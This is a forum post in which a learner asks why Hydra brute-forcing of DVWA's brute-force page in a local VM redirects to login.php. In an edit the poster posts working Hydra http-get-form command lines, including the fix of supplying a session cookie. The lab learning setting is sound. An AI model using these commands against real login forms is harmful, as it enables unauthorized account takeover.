Hydra and DVWA in a VM - redirect to login.php

[zoup]

Hi there, i am using hydra and the damn vulnerable web application
to learn brute forcing with hydra.

The url i try to hack is:
/dvwa/vulnerabilities/brute/

The thing is i get an redirect to the main page where i must
authorize. I brute forced the login.php already with success.

Code: [Select]

[VERBOSE] Page redirected to http://192.168.56.101/dvwa/vulnerabilities/brute/../../login.php
So my question is:
How can i brute-force this webform when i have to first authorize
at the login.php ? I can't reach the brute page.

My commandline:

Code: [Select]

hydra -vV -l admin -P pw/25common.txt 192.168.56.101 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:password incorrect"
EDIT:
I figured it out. Of cos it was the cookie.

Code: [Select]

hydra -vV -l admin -P pw/25common.txt 192.168.56.101 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:password incorrect:H=Cookie: security=low; PHPSESSID=<phpsessid>"